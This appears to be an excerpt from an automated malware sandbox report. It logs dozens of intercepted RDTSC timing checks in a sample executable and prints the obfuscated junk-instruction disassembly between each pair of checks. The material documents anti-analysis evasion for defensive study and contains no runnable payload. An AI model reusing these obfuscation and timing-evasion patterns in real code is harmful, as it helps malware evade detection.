Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DAFB59 second address: DAFB8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC9F53DFD60h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f cld 0x00000010 push 00000004h 0x00000012 sub dword ptr [ebp+122D1FAFh], esi 0x00000018 call 00007FC9F53DFD59h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DAFB8B second address: DAFB95 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC9F53C6A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DAFB95 second address: DAFBB7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FC9F53DFD65h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DAFBB7 second address: DAFBBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DAFBBC second address: DAFBEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push edi 0x0000000e pushad 0x0000000f jno 00007FC9F53DFD56h 0x00000015 jmp 00007FC9F53DFD5Ch 0x0000001a popad 0x0000001b pop edi 0x0000001c mov eax, dword ptr [eax] 0x0000001e pushad 0x0000001f je 00007FC9F53DFD5Ch 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DAFE1A second address: DAFE55 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 ja 00007FC9F53C6A7Eh 0x0000000e mov edx, dword ptr [ebp+122D36C3h] 0x00000014 push dword ptr [ebp+1245E0A9h] 0x0000001a mov dword ptr [ebp+12478E5Fh], eax 0x00000020 call 00007FC9F53C6A79h 0x00000025 push eax 0x00000026 push edx 0x00000027 jne 00007FC9F53C6A78h 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51301A9 second address: 513021B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FC9F53DFD64h 0x00000011 add cx, 9418h 0x00000016 jmp 00007FC9F53DFD5Bh 0x0000001b popfd 0x0000001c call 00007FC9F53DFD68h 0x00000021 jmp 00007FC9F53DFD62h 0x00000026 pop eax 0x00000027 popad 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FC9F53DFD5Ah 0x00000032 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 513021B second address: 513021F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 513021F second address: 5130225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5130225 second address: 513022B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 513022B second address: 513022F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 513022F second address: 5130233 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5110EA9 second address: 5110EF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC9F53DFD5Fh 0x00000009 jmp 00007FC9F53DFD63h 0x0000000e popfd 0x0000000f jmp 00007FC9F53DFD68h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5110EF2 second address: 5110EF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5110EF8 second address: 5110F14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, al 0x00000005 push edi 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC9F53DFD5Fh 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5110F14 second address: 5110F4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007FC9F53C6A83h 0x00000012 pop esi 0x00000013 mov ax, dx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5110F4D second address: 5110F53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5110F53 second address: 5110F8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FC9F53C6A88h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FC9F53C6A87h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5150DAF second address: 5150DC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dh, FEh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5150DC6 second address: 5150DCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 50F016F second address: 50F0175 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 50F0175 second address: 50F0179 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 50F0179 second address: 50F01AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+0Ch] 0x0000000b pushad 0x0000000c mov esi, edi 0x0000000e call 00007FC9F53DFD69h 0x00000013 mov dl, ah 0x00000015 pop ebx 0x00000016 popad 0x00000017 push dword ptr [ebp+08h] 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 50F01AD second address: 50F01B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 50F01B1 second address: 50F01B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5110B2E second address: 5110B32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5110B32 second address: 5110B38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5110B38 second address: 5110B61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FC9F53C6A7Eh 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d jmp 00007FC9F53C6A7Ch 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5110B61 second address: 5110B67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5110B67 second address: 5110BE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC9F53C6A85h 0x00000009 or ax, 5FB6h 0x0000000e jmp 00007FC9F53C6A81h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FC9F53C6A80h 0x0000001a sbb al, FFFFFFD8h 0x0000001d jmp 00007FC9F53C6A7Bh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 xchg eax, ebp 0x00000027 jmp 00007FC9F53C6A86h 0x0000002c mov ebp, esp 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FC9F53C6A7Ah 0x00000037 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5110BE1 second address: 5110BE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5110BE7 second address: 5110BEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51106C9 second address: 51106CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51106CF second address: 51106E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ah, 05h 0x00000011 mov bl, 94h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51106E9 second address: 51106F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51106F0 second address: 511075A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 jmp 00007FC9F53C6A87h 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FC9F53C6A84h 0x00000016 add cx, E5F8h 0x0000001b jmp 00007FC9F53C6A7Bh 0x00000020 popfd 0x00000021 call 00007FC9F53C6A88h 0x00000026 mov bh, al 0x00000028 pop edi 0x00000029 popad 0x0000002a pop ebp 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 511075A second address: 511075F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51105D3 second address: 51105F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51105F7 second address: 5110611 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD66h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5110611 second address: 5110627 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5110627 second address: 511062B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 511062B second address: 5110631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 511033D second address: 5110341 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5110341 second address: 5110347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5110347 second address: 5110358 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9F53DFD5Dh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5110358 second address: 511035C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 511035C second address: 511036B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 511036B second address: 511036F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 511036F second address: 5110373 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5110373 second address: 5110379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5110379 second address: 511039A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC9F53DFD5Ch 0x00000009 adc ch, 00000028h 0x0000000c jmp 00007FC9F53DFD5Bh 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 511039A second address: 51103AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov eax, edx 0x0000000f push edx 0x00000010 pop ecx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51103AC second address: 5110418 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC9F53DFD64h 0x00000009 and si, 11B8h 0x0000000e jmp 00007FC9F53DFD5Bh 0x00000013 popfd 0x00000014 push ecx 0x00000015 pop ebx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b jmp 00007FC9F53DFD62h 0x00000020 pop ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007FC9F53DFD5Dh 0x0000002a sbb ch, 00000006h 0x0000002d jmp 00007FC9F53DFD61h 0x00000032 popfd 0x00000033 push eax 0x00000034 pop edx 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 512031E second address: 5120322 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5120322 second address: 5120328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5120328 second address: 51203BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 movsx edi, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FC9F53C6A85h 0x00000013 or ax, 7476h 0x00000018 jmp 00007FC9F53C6A81h 0x0000001d popfd 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 pushad 0x00000022 mov ax, 5B03h 0x00000026 pushfd 0x00000027 jmp 00007FC9F53C6A88h 0x0000002c xor ax, 78C8h 0x00000031 jmp 00007FC9F53C6A7Bh 0x00000036 popfd 0x00000037 popad 0x00000038 pop ebp 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c mov ah, bh 0x0000003e pushfd 0x0000003f jmp 00007FC9F53C6A7Ch 0x00000044 adc cx, FB28h 0x00000049 jmp 00007FC9F53C6A7Bh 0x0000004e popfd 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51203BA second address: 51203C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51203C0 second address: 51203C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51203C4 second address: 51203C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5130513 second address: 5130535 instructions: 0x00000000 rdtsc 0x00000002 call 00007FC9F53C6A86h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5130535 second address: 513053A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 513053A second address: 513054E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9F53C6A80h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 513054E second address: 513060F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FC9F53DFD5Dh 0x00000012 sub cx, C6A6h 0x00000017 jmp 00007FC9F53DFD61h 0x0000001c popfd 0x0000001d mov cx, 49D7h 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 pushad 0x00000025 mov esi, 07389CCFh 0x0000002a pushfd 0x0000002b jmp 00007FC9F53DFD64h 0x00000030 or cx, 3778h 0x00000035 jmp 00007FC9F53DFD5Bh 0x0000003a popfd 0x0000003b popad 0x0000003c mov eax, dword ptr [ebp+08h] 0x0000003f pushad 0x00000040 mov ebx, eax 0x00000042 push eax 0x00000043 mov cl, bh 0x00000045 pop esi 0x00000046 popad 0x00000047 and dword ptr [eax], 00000000h 0x0000004a pushad 0x0000004b call 00007FC9F53DFD65h 0x00000050 jmp 00007FC9F53DFD60h 0x00000055 pop esi 0x00000056 jmp 00007FC9F53DFD5Bh 0x0000005b popad 0x0000005c and dword ptr [eax+04h], 00000000h 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007FC9F53DFD65h 0x00000067 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 513060F second address: 513061F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9F53C6A7Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 513061F second address: 5130623 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5130623 second address: 5130637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov edx, esi 0x0000000e mov eax, 3431705Bh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5130637 second address: 5130647 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9F53DFD5Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51300FA second address: 51300FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51300FF second address: 513012B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edi, cx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c movzx eax, dx 0x0000000f mov ecx, edx 0x00000011 popad 0x00000012 mov ebp, esp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FC9F53DFD66h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 513012B second address: 5130131 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5130131 second address: 5130177 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ch, 4Ah 0x0000000e pushfd 0x0000000f jmp 00007FC9F53DFD67h 0x00000014 add ax, 200Eh 0x00000019 jmp 00007FC9F53DFD69h 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5130177 second address: 5130187 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9F53C6A7Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51303EE second address: 5130421 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushad 0x0000000d mov ecx, edx 0x0000000f popad 0x00000010 popad 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FC9F53DFD5Ch 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51505BE second address: 51505C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51505C2 second address: 51505C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51505C8 second address: 51505DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9F53C6A81h 0x00000009 rdtsc
